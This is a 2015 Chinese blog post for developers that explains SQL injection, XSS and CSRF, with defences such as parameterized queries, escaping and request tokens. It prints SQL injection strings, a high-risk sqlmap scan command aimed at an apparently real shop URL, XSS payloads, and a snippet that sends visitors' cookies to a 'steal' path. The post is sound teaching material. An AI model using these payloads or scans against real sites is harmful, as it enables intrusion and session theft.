文章归档友情连接照片地图

WEB安全初探

分类:PHP编程  作者:rming  时间:2015-08-17

       常见的WEB攻击有SQL注入,XSS,CSRF,DDos和弱口令攻击等(OWASP 2013 Top 10中文版),作为一个WEB开发人员,必须了解这些攻击的原理和常见手段才能在编码时避免漏洞产生,所谓知彼知己百战不殆。

SQL 注入

參數化查詢 目前已被視為最有效可預防SQL注入攻击的攻擊手法的防禦方式。

       参数化查询大行其道,秒杀了一大批SQL注入工具,但是还有少数人采用拼接参数的方式编写语句,虽然大家对SQL注入不再陌生,平时也会多几分防范,但是编码时免不了需要战战兢兢,处处设防,因此还是强烈推荐使用参数化查询,避免使用字符串拼接。

什么是SQL注入?

       所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

举个例子

BAD:

$sql = 'SELECT * FROM `users` WHERE `username`="%s" AND `password`="%s"';
$db->query(sprintf($sql, $userName, $password));
#参数注入(WHERE条件参数)
$userName = '" OR "1"="1';
$password = '" OR "1"="1';
#最终执行的SQL语句
SELECT * FROM `users` WHERE `username`="" OR "1"="1" AND `password`="" OR "1"="1"
#参数注入(SQL注释)
$userName = '" OR 1=1 --';
$password = 'samplepasshash';
#最终语句
SELECT * FROM `members` WHERE `username`="" OR 1=1 -- AND `password`="samplepasshash"

GOOD:

$sql = 'SELECT * FROM `users` WHERE `username`=? AND `password`=?';
$params = [$userName, $password];
$stmt = $dbh->prepare($sql);
$res = $stmt->execute($params);

以上两个例子,是历史流传已久的菜鸟例程了,额外:

  1. 注入点除了常规的条件参数,还可以是ORDER BY, LIMIT, OFFSET之类;
  2. 注入方法除了以上的“语句注释/结束”, “改变WHERE字句”,还可以“常真/常假测试”,“表名猜解”等;
  3. 如果你使用了自己的过滤方法,那么还有多种方法逃过过滤,比如“通过注释绕过空格过滤”,“改变大小写/编码”,“通过char(ASCII码)伪装”等方式绕过过滤;

       由于个人知识储备有限和篇幅原因,对于更加详细的SQL注入就不在介绍了,有兴趣的可以通过上述关键词或者参考阅读丰富下知识。

扩展阅读:

预防

  • 使用參數化查詢
  • 限制数据库错误输出
  • 数据库/www用户权限控制

测试

       对于特定地址SQL注入的测试,可以使用SQLMap进行盲注,具体参考 Automated Audit using SQLMap

简单示例:

./sqlmap.py -u "http://253.mall.miaoshou.com/product?typeid_two=169&order=miaoshou_price&desc=asc" \
--dbms=MySQL \
--timeout=15 \
--retries=2 \
--threads=5 \
--dbms=MySQL \
--os=Linux \
--level=5 \
--risk=3

XSS 跨站脚本攻击

什么是XSS?

       跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

永远不要相信用户的输入!

存储式XSS

       举个例子,例如blog的标题,假设在存到数据库的时候是直接将blog标题文本框中的内容存储,在显示的时候直接用$blog.title这样的方式去显示的话,那么只要在blog标题中输入<script>alert(document.cookie);</script>,然后保存,在显示的时候这段javascript就会被正常执行了,虽然这样的看似没有什么大的危害,但攻击者同样不会采取这么简单的方式,例如可以直接给你一段经过url编码的串,而其中就是利用网站的XSS漏洞将你的cookie信息发送至一个攻击性质的记录cookie的网站等,又或者完全可以利用网站的XSS漏洞埋上一段隐藏的img来嵌入这样而已的url,那么你的cookie就会不知不觉的被盗用,而偏偏现在大部分的网站都是借助cookie来代表用户的身份,这样,当攻击者拿到cookie之后,也就可以假冒你的身份大摇大摆的进入相应的网站了。

反射型XSS

       上面说的是比较典型的一种XSS漏洞产生的情况,另外一种比较典型的是domxss的情况,这种情况多数是攻击者利用直接闭合标签,从而执行恶意的javascript代码,例如页面中有个文本框,这个文本框的内容在提交后会被记录并继续显示在结果页面的文本框架中,假设第二个页面中文本框是这么写的:<inputtype=textvalue="$!prevPage.someText">,那么只要在前一页面中输入"><script>alert(document.cookie);</script>这样的内容,在第二个页面显示的时候就会变成:<inputtype=textvalue=""><script>alert(document.cookie);</script>>,攻击者通过闭合input标签实现了执行恶意的javascript代码,同样,如果你的javascript中也有类似的读取url参数或前页提交的内容,又或数据库中的内容的话,攻击者都有可能利用这种闭合标签的方式来实施攻击。

现在我们使用的浏览器都比较聪明了,会自动识别一些简单地XSS攻击,防止泄露个人信息。

IE XSS过滤

Chrome XSS过滤

  • HTML Purifier
  • Smarty的escape修饰
  • PHP函数htmlentities
  • htmlspecialcharshtmlentities在这方面还是有些区别的。

FYI:

昵称修改为以下内容,并且在商品页面有留言或评论,此时,如果另外一个用户打开商品页面,就会在不知情的情况下将自己的cookie信息发送给了小偷。

<script>
$.get('path/to/steal?cookie='+document.cookie);
</script>

CSRF 跨站请求伪造

CSRF:冒充用户之手

       起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

       CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

       严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。

       例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问: http://example.com/bbs/create_post.php?title=标题&content=内容 那么,我只需要在论坛中发一帖,包含一链接: http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈 只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

       如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 QQ 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的处理者。

       比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。

       首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求方法,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。

       接下来我们就可以用比较简单也比较有效的方法来防御 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登录验证身份。

       请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:

       虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。

       在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。

       第一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。

       无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。

  • 通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。

  • 过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不止链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。

  • 在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

参考:



提交评论